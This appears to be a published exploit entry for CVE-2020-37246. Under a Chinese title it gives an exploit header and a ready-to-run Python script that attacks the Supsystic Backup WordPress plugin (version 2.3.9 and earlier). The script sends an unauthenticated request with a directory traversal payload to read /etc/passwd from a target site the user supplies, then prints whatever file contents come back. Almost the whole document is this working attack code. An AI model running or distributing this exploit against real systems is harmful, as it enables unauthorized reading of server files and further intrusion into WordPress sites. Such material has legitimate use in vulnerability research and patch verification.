CVE-2020-37246 Supsystic Backup本地文件包含漏洞

# Exploit Title: Supsystic Backup 2.3.9 - Local File Inclusion (Unauthenticated) # Date: 2021-01-04 # Exploit Author: VulnCheck # Vendor Homepage: https://supsystic.com/ # Software Link: https://downloads.wordpress.org/plugin/backup-by-supsystic.zip # Version: 2.3.9 # Tested on: WordPress 5.6 / Linux import requests def exploit_lfi(target_url): """ Exploit the Local File Inclusion vulnerability in Supsystic Backup <= 2.3.9 """ # Target endpoint url = f"{target_url}/wp-admin/admin.php" # Parameter vulnerable to directory traversal params = { "page": "backup-by-supsystic", "action": "index", "controller": "backup", "method": "download", "download": "../../../../../../../../etc/passwd" } try: print(f"[*] Sending request to {url}...") response = requests.get(url, params=params, timeout=10) # Check if /etc/passwd is in the response (common LFI check) if "root:" in response.text and response.status_code == 200: print("[+] Exploit successful! File content retrieved:") print("-" * 40) print(response.text) print("-" * 40) else: print("[-] Exploit failed or file not found.") print(f"Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": target = input("Enter the target URL (e.g., http://localhost/wordpress): ") exploit_lfi(target)